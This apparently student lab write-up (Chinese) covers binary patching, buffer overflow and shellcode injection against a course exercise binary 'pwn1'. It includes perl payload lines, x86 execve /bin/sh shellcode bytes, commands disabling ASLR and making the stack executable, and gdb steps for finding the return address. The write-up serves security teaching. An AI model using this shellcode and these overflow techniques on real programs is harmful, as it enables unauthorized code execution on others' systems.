zoukankan      html  css  js  c++  java
  • 2018-2019-2 网络对抗技术 20165308 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165308 Exp1 PC平台逆向破解

    NOP, JNE, JE, JMP, CMP汇编指令的机器码

    NOP汇编指令:执行到NOP指令时,CPU仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。

    JNE汇编指令:条件转移指令,如果不相等则跳转。

    JE汇编指令:如果条件相等则跳转。

    JMP汇编指令:直接跳转到所需跳转的位置。

    CMP汇编指令:减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

    任务一、直接修改程序机器指令,改变程序执行流程

    1、首先将pwn1文件通过共享文件夹传入虚拟机当中,通过chmod +x pwn1指令加权限,然后objdump -d pwn1,反汇编pwn1文件。

    2、反汇编结束后发现:main函数里面有一步call 8048491,机器码指令为e8 d7 ff ff ff(call的机器码就是e8,后面是地址)。

    通过进一步的分析:08048491是0804847d是我们的跳转目标。

    0x08048491 - 0x0804847d = 0x00000014//计算地址差

    0xffffffd7 - 0x00000014=0xffffffc3//计算要篡改的目标地址

    vi pwn1进入命令模式
    输入:%!xxd将显示模式切换为十六进制

    在底行模式输入/e8 d7定位需要修改的地方,并确认

    进入插入模式,修改d7为c3

    输入:%!xxd -r将十六进制转换为原格式

    使用:wq保存并退出

    通过上述步骤看见我的main函数里面已经修改为e8 c3 ff ff ff

    4、执行./pwn1文件可以成功获取shell:

    完成第一个实验。

    二、通过构造输入参数,造成BOF攻击,改变程序执行流

    1、使用gdb命令,file pwn1载入pwn1文件,输入gdb pwn1。

    输入r执行pwn1,这时程序正常执行,在foo子函数
    调用的过程中,需要我们输入一个字符串。
    输入36个字符后回车:abcdefghijklmnopqrstuvwxyz1234567890
    

    2、
    此时eip寄存器中的值为0x30393837,eip寄存器的值是保存程序下一步所要执行指令的地址,本次实验用的是小端机器,30、39、38、37分别是0、9、8、7对应的ASCII码,那么也就是说最后4位刚好完成溢出,覆盖掉返回地址了。
    我们需要使用perl语句,用管道的方式把上一个命令的结果作为下一个的输入。
    使用:perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input
    然后将input的输入,通过管道符“|”,作为pwn1的输入。攻击成功以后出现的截图:

    完成第二个实验。
    三、注入Shellcode并执行
    shellcode就是一段机器指令(code)
    通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。
    在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
    首先使用apt-get install execstack命令安装execstack。
    修改以下内容
    设置堆栈可执行execstack -s pwn1
    查询文件的堆栈是否可执行 execstack -q pwn1
    关闭地址随机化echo "0" > /proc/sys/kernel/randomize_va_space
    查询地址随机化是否关闭(0代表关闭,2代表开启)more /proc/sys/kernel/randomize_va_space
    采用老师提供的shellcode 的代码
    x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00
    用perl语言输入代码
    perl -e 'print "A" x 32;print "x4x3x2x1x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
    上面的x4x3x2x1将覆盖到堆栈上的返回地址的位置。我们把它改为这段shellcode的地址。

    确定返回地址的值
    将写好的代码通过管道方式输入给程序pwn1中的foo函数进行覆盖
    (cat input_shellcode;cat) | ./pwn1
    打开另外一个终端,用gdb来调试pwn1这个进程
    ps -ef | grep pwn1确定pwn1的进程号
    启动gdb调试这个程序 gdb attach 2277


    设置断点来查看注入buf的内存地址disassemble foo
    ret的地址为 0x080484ae,ret完就会跳到我们覆盖的返回地址了
    break *0x080484ae设置断点
    在另一个终端按下回车,这样程序就会执行之后在断点处停下来
    再在gdb调试的终端输入 c 继续运行程序
    通过info r esp查看esp寄存器的地址

    下图可以看到0x01020304所在的地址为0xffffd22c,那么注入的shellcode代码的地址应该在该地址后四个字节的位置,即
    0xffd2cc0c + 0x00000004 = 0xffd2cc10
    退出gdp调试。

    输入
    perl -e 'print "A" x 32;print "x10xccxd2xffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
    执行程序,攻击成功

    第三个实验完成

    实验收获与感想

    我对本次实验的缓冲区溢出攻击的原理有了一定的了解。通过查看网上资料慢慢的一步一步解决了实验的难点,也问了周围的同学(例如最后一项任务中好几次都失败,后来在看了同学的实验截图之后才发现自己有一部分码改错了),虽然对此实验的原理没有特别深入的理解,但还是收获颇多。

    什么是漏洞?漏洞有什么危害?

    我觉得漏洞是在设计程序产品时,只考虑了程序的功能实现,未能够充分考虑到其他安全性的问题(例如在某些进程中没能考虑到会被从这个进程的某段发起攻击从而改写程序进行非法操作),导致程序存在一定的缺陷,使得攻击者可利用该缺陷进行破环与攻击。可能会使该程序被攻击者侵入进行恶意改写与操作,影响用户的使用,或者使得用户的个人信息等被泄露。

  • 相关阅读:
    MVC实现类似QQ的网页聊天功能-ajax(下)
    SQLServer中跨库复制数据
    MVC实现类似QQ的网页聊天功能-Ajax(上)
    好看的Select下拉框是如何制造的
    Vss服务端用户存在,但客户端登陆不进去
    Jquery-uploadify多文件上传插件使用介绍
    jQuery mouseover,mouseout事件多次执行的问题处理
    解决svn状态图标不显示的办法
    ASP.NET获取用户端的真实IP
    js中时间戳与日期转换-js日期操作
  • 原文地址:https://www.cnblogs.com/1252854089qq/p/10539667.html
Copyright © 2011-2022 走看看